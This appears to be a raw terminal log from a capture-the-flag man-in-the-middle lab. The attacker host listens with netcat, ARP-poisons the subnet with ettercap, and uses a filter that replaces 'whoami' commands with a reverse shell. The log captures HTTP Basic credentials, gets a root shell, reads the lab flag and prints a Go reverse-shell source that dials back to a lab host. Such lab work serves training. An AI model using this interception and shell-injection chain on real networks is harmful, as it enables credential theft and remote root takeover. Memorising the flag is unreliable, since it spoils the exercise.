___\///__\///______\//////////______\/////________\/////______\//////////__\///_____________\////////___\////////\//__\///__________ admin@eve:~$ nc -nvlp 6666 & [1] 8738 admin@eve:~$ Listening on 0.0.0.0 6666 admin@eve:~$ sudo ettercap -T -i eth1 -M arp -F whoami.ef ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Content filters loaded from whoami.ef... Listening on: eth1 -> 0E:D9:C1:ED:A6:C1 192.168.12.66/255.255.255.0 fe80::8862:1aff:fee7:9471/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Mon Feb 6 17:46:29 2023 [333492] 192.168.12.10:0 --> 192.168.12.20:0 | (0) Mon Feb 6 17:46:29 2023 [333605] 192.168.12.20:0 --> 192.168.12.10:0 | (0) Mon Feb 6 17:46:30 2023 [726743] TCP 192.168.12.10:48196 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:46:30 2023 [733144] TCP 192.168.12.20:80 --> 192.168.12.10:48196 | SA (0) Mon Feb 6 17:46:30 2023 [740944] TCP 192.168.12.10:48196 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:46:30 2023 [741346] TCP 192.168.12.10:48196 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:46:30 2023 [749156] TCP 192.168.12.20:80 --> 192.168.12.10:48196 | A (0) Mon Feb 6 17:46:30 2023 [751154] TCP 192.168.12.20:80 --> 192.168.12.10:48196 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:46:30 2023 [751371] TCP 192.168.12.20:80 --> 192.168.12.10:48196 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:46:30 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:46:30 2023 [757024] TCP 192.168.12.10:48196 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:46:30 2023 [758175] TCP 192.168.12.10:48196 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:46:30 2023 [765102] TCP 192.168.12.20:80 --> 192.168.12.10:48196 | A (0) Mon Feb 6 17:46:31 2023 [998807] TCP 192.168.12.10:4444 --> 192.168.12.20:44704 | AP (3) ls Mon Feb 6 17:46:32 2023 [5022] TCP 192.168.12.20:44704 --> 192.168.12.10:4444 | R (0) Mon Feb 6 17:46:33 2023 [9519] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:46:33 2023 [13024] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:33 2023 [14363] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:46:33 2023 [21056] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:46:37 2023 [10737] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami Mon Feb 6 17:46:37 2023 [56936] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:37 2023 [834276] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:37 2023 [834316] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | SA (0) Mon Feb 6 17:46:37 2023 [834413] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:46:38 2023 [350567] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:46:38 2023 [357058] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | SA (0) Mon Feb 6 17:46:38 2023 [365035] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:38 2023 [375345] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:46:38 2023 [381122] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:38 2023 [966813] TCP 192.168.12.20:34768 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:38 2023 [966852] TCP 192.168.12.66:6666 --> 192.168.12.20:34768 | SA (0) Mon Feb 6 17:46:38 2023 [966951] TCP 192.168.12.20:34768 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:46:41 2023 [11790] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:46:41 2023 [13044] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:42 2023 [377326] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:46:42 2023 [380998] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:42 2023 [381285] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:46:42 2023 [389117] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | A (0) Mon Feb 6 17:46:42 2023 [777554] TCP 192.168.12.10:48204 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:46:42 2023 [781072] TCP 192.168.12.20:80 --> 192.168.12.10:48204 | SA (0) Mon Feb 6 17:46:42 2023 [788969] TCP 192.168.12.10:48204 --> 192.168.12.20:80 | A (0) HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:46:42 2023 [789366] TCP 192.168.12.10:48204 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . Mon Feb 6 17:46:42 2023 [797068] TCP 192.168.12.20:80 --> 192.168.12.10:48204 | A (0) Mon Feb 6 17:46:42 2023 [799122] TCP 192.168.12.20:80 --> 192.168.12.10:48204 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:46:42 2023 [799341] TCP 192.168.12.20:80 --> 192.168.12.10:48204 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:46:42 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:46:42 2023 [805059] TCP 192.168.12.10:48204 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:46:42 2023 [805936] TCP 192.168.12.10:48204 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:46:42 2023 [813104] TCP 192.168.12.20:80 --> 192.168.12.10:48204 | A (0) Mon Feb 6 17:46:45 2023 [12904] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:46:45 2023 [21015] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:46 2023 [378420] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (3) ls Mon Feb 6 17:46:46 2023 [380965] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:46 2023 [382253] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:46:46 2023 [389002] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | A (0) Mon Feb 6 17:46:49 2023 [14035] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:46:49 2023 [20989] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:50 2023 [379541] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:46:50 2023 [381001] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:51 2023 [809202] TCP 192.168.12.20:34772 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:51 2023 [809242] TCP 192.168.12.66:6666 --> 192.168.12.20:34772 | SA (0) Mon Feb 6 17:46:51 2023 [809357] TCP 192.168.12.20:34772 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:46:51 2023 [897959] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:46:51 2023 [901057] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | SA (0) Mon Feb 6 17:46:51 2023 [908911] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:51 2023 [928788] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:46:51 2023 [932967] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:52 2023 [610340] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:53 2023 [15206] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:46:53 2023 [21058] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:53 2023 [624858] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:54 2023 [380753] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:46:54 2023 [388948] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:54 2023 [827445] TCP 192.168.12.10:48212 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:46:54 2023 [829001] TCP 192.168.12.20:80 --> 192.168.12.10:48212 | SA (0) Mon Feb 6 17:46:54 2023 [836918] TCP 192.168.12.10:48212 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:46:54 2023 [837420] TCP 192.168.12.10:48212 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:46:54 2023 [845146] TCP 192.168.12.20:80 --> 192.168.12.10:48212 | A (0) Mon Feb 6 17:46:54 2023 [847040] TCP 192.168.12.20:80 --> 192.168.12.10:48212 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:46:54 2023 [847340] TCP 192.168.12.20:80 --> 192.168.12.10:48212 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:46:54 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:46:54 2023 [853218] TCP 192.168.12.10:48212 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:46:54 2023 [854933] TCP 192.168.12.10:48212 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:46:54 2023 [861103] TCP 192.168.12.20:80 --> 192.168.12.10:48212 | A (0) Mon Feb 6 17:46:55 2023 [640868] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:55 2023 [930847] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (4) pwd Mon Feb 6 17:46:55 2023 [932988] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:55 2023 [933281] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:46:55 2023 [941083] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | A (0) Mon Feb 6 17:46:57 2023 [16330] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:46:57 2023 [20992] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:57 2023 [100155] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (3) id Mon Feb 6 17:46:57 2023 [100291] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:46:57 2023 [251341] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (39) uid=0(root) gid=0(root) groups=0(root) Mon Feb 6 17:46:57 2023 [251361] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:46:58 2023 [381777] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (3) ls Mon Feb 6 17:46:58 2023 [389010] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:59 2023 [599612] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (7) whoami Mon Feb 6 17:46:59 2023 [599768] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:46:59 2023 [600992] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (5) root Mon Feb 6 17:46:59 2023 [601005] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:46:59 2023 [672951] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:46:59 2023 [931991] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (3) ls Mon Feb 6 17:46:59 2023 [932969] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:46:59 2023 [934220] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:46:59 2023 [941032] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | A (0) Mon Feb 6 17:47:01 2023 [17521] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:01 2023 [21016] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:02 2023 [383102] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:02 2023 [388979] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:03 2023 [932448] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:03 2023 [933029] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:04 2023 [84594] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:47:04 2023 [85113] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | SA (0) Mon Feb 6 17:47:04 2023 [93025] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:04 2023 [103460] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (7) whoami Mon Feb 6 17:47:04 2023 [108951] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:04 2023 [751093] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:05 2023 [18673] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:47:05 2023 [20974] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:05 2023 [752853] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:06 2023 [384250] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:47:06 2023 [388997] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:06 2023 [865968] TCP 192.168.12.10:48218 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:47:06 2023 [869076] TCP 192.168.12.20:80 --> 192.168.12.10:48218 | SA (0) Mon Feb 6 17:47:06 2023 [877054] TCP 192.168.12.10:48218 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:06 2023 [877420] TCP 192.168.12.10:48218 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:47:06 2023 [885128] TCP 192.168.12.20:80 --> 192.168.12.10:48218 | A (0) Mon Feb 6 17:47:06 2023 [887001] TCP 192.168.12.20:80 --> 192.168.12.10:48218 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:47:06 2023 [887223] TCP 192.168.12.20:80 --> 192.168.12.10:48218 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:47:06 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:47:06 2023 [893088] TCP 192.168.12.10:48218 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:06 2023 [894019] TCP 192.168.12.10:48218 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:47:06 2023 [901080] TCP 192.168.12.20:80 --> 192.168.12.10:48218 | A (0) Mon Feb 6 17:47:07 2023 [768862] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:07 2023 [864865] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:07 2023 [934907] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (4) pwd Mon Feb 6 17:47:07 2023 [940911] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:08 2023 [105548] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (4) pwd Mon Feb 6 17:47:08 2023 [108995] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:08 2023 [109265] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:47:08 2023 [116981] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | A (0) Mon Feb 6 17:47:09 2023 [19789] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:47:09 2023 [21055] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:09 2023 [729423] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (3) ls Mon Feb 6 17:47:09 2023 [729562] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:47:09 2023 [730795] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:47:09 2023 [730806] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:10 2023 [385429] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (3) ls Mon Feb 6 17:47:10 2023 [388947] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:11 2023 [935986] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (3) ls Mon Feb 6 17:47:11 2023 [940975] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:11 2023 [960882] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:12 2023 [106657] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (3) ls Mon Feb 6 17:47:12 2023 [109001] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:12 2023 [110277] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | AP (30) rev.go root.txt server.sh www Mon Feb 6 17:47:12 2023 [117096] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | A (0) Mon Feb 6 17:47:13 2023 [20895] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami Mon Feb 6 17:47:13 2023 [28974] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:14 2023 [74421] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (13) cat root.txt Mon Feb 6 17:47:14 2023 [74885] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | A (0) Mon Feb 6 17:47:14 2023 [78807] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (27) THM{wh4t_an_ev1l_M!tM_u_R} Mon Feb 6 17:47:14 2023 [78819] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:14 2023 [386493] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:14 2023 [389013] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:15 2023 [937134] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:15 2023 [940974] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:16 2023 [107783] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:16 2023 [109053] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:16 2023 [885173] TCP 192.168.12.20:34786 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:17 2023 [21438] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (4) pwd Mon Feb 6 17:47:17 2023 [29059] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:17 2023 [374967] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | S (0) Mon Feb 6 17:47:17 2023 [381095] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | SA (0) Mon Feb 6 17:47:17 2023 [388943] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:17 2023 [399349] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:17 2023 [405072] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:17 2023 [912841] TCP 192.168.12.20:34786 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:18 2023 [15922] TCP 192.168.12.20:34790 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:18 2023 [387573] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (4) pwd Mon Feb 6 17:47:18 2023 [388933] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:18 2023 [905880] TCP 192.168.12.10:48226 --> 192.168.12.20:80 | S (0) Mon Feb 6 17:47:18 2023 [909111] TCP 192.168.12.20:80 --> 192.168.12.10:48226 | SA (0) Mon Feb 6 17:47:18 2023 [917005] TCP 192.168.12.10:48226 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:18 2023 [917402] TCP 192.168.12.10:48226 --> 192.168.12.20:80 | AP (133) GET /test.txt HTTP/1.1. Host: www.server.bob. Authorization: Basic YWRtaW46czNjcjN0X1A0eno=. User-Agent: curl/7.68.0. Accept: */*. . HTTP : 192.168.12.20:80 -> USER: admin PASS: s3cr3t_P4zz INFO: www.server.bob/test.txt Mon Feb 6 17:47:18 2023 [925141] TCP 192.168.12.20:80 --> 192.168.12.10:48226 | A (0) Mon Feb 6 17:47:18 2023 [927075] TCP 192.168.12.20:80 --> 192.168.12.10:48226 | AP (17) HTTP/1.0 200 OK. Mon Feb 6 17:47:18 2023 [927299] TCP 192.168.12.20:80 --> 192.168.12.10:48226 | FAP (171) Server: SimpleHTTP/0.6 Python/2.7.12. Date: Mon, 06 Feb 2023 17:47:18 GMT. Content-type: text/plain. Content-Length: 3. Last-Modified: Sun, 27 Mar 2022 12:57:36 GMT. . OK Mon Feb 6 17:47:18 2023 [932986] TCP 192.168.12.10:48226 --> 192.168.12.20:80 | A (0) Mon Feb 6 17:47:18 2023 [933938] TCP 192.168.12.10:48226 --> 192.168.12.20:80 | FA (0) Mon Feb 6 17:47:18 2023 [941200] TCP 192.168.12.20:80 --> 192.168.12.10:48226 | A (0) Mon Feb 6 17:47:19 2023 [32834] TCP 192.168.12.20:34790 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:19 2023 [928862] TCP 192.168.12.20:34786 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:19 2023 [938259] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (4) pwd Mon Feb 6 17:47:19 2023 [940913] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:20 2023 [108914] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (4) pwd Mon Feb 6 17:47:20 2023 [116997] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:20 2023 [152799] TCP 192.168.12.20:34782 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:21 2023 [23562] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (3) ls Mon Feb 6 17:47:21 2023 [28969] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:21 2023 [48932] TCP 192.168.12.20:34790 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:21 2023 [401398] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | AP (4) pwd Mon Feb 6 17:47:21 2023 [405001] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:21 2023 [405282] TCP 192.168.12.20:44736 --> 192.168.12.10:4444 | AP (6) /root Mon Feb 6 17:47:21 2023 [413027] TCP 192.168.12.10:4444 --> 192.168.12.20:44736 | A (0) Mon Feb 6 17:47:22 2023 [388642] TCP 192.168.12.10:4444 --> 192.168.12.20:44714 | AP (3) ls Mon Feb 6 17:47:22 2023 [388937] TCP 192.168.12.20:44714 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:23 2023 [939337] TCP 192.168.12.10:4444 --> 192.168.12.20:44722 | AP (3) ls Mon Feb 6 17:47:23 2023 [940993] TCP 192.168.12.20:44722 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:23 2023 [992895] TCP 192.168.12.20:34786 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:23 2023 [992919] TCP 192.168.12.20:34776 --> 192.168.12.66:6666 | S (0) Mon Feb 6 17:47:24 2023 [110042] TCP 192.168.12.10:4444 --> 192.168.12.20:44728 | AP (3) ls Mon Feb 6 17:47:24 2023 [117039] TCP 192.168.12.20:44728 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:24 2023 [428194] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | AP (11) cat rev.go Mon Feb 6 17:47:24 2023 [429294] TCP 192.168.12.20:34764 --> 192.168.12.66:6666 | AP (175) package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.12.10:4444");cmd:=exec.Command("/bin/bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()} Mon Feb 6 17:47:24 2023 [429313] TCP 192.168.12.66:6666 --> 192.168.12.20:34764 | A (0) Mon Feb 6 17:47:25 2023 [24703] TCP 192.168.12.10:4444 --> 192.168.12.20:44708 | AP (7) whoami filter engine: Cannot open file /root/ettercap.log ###### ETTERFILTER: substituted 'whoami' with reverse shell. ###### Mon Feb 6 17:47:25 2023 [28974] TCP 192.168.12.20:44708 --> 192.168.12.10:4444 | A (0) Mon Feb 6 17:47:25 2023 [272905] TCP 192.168.12.20:34790 --> 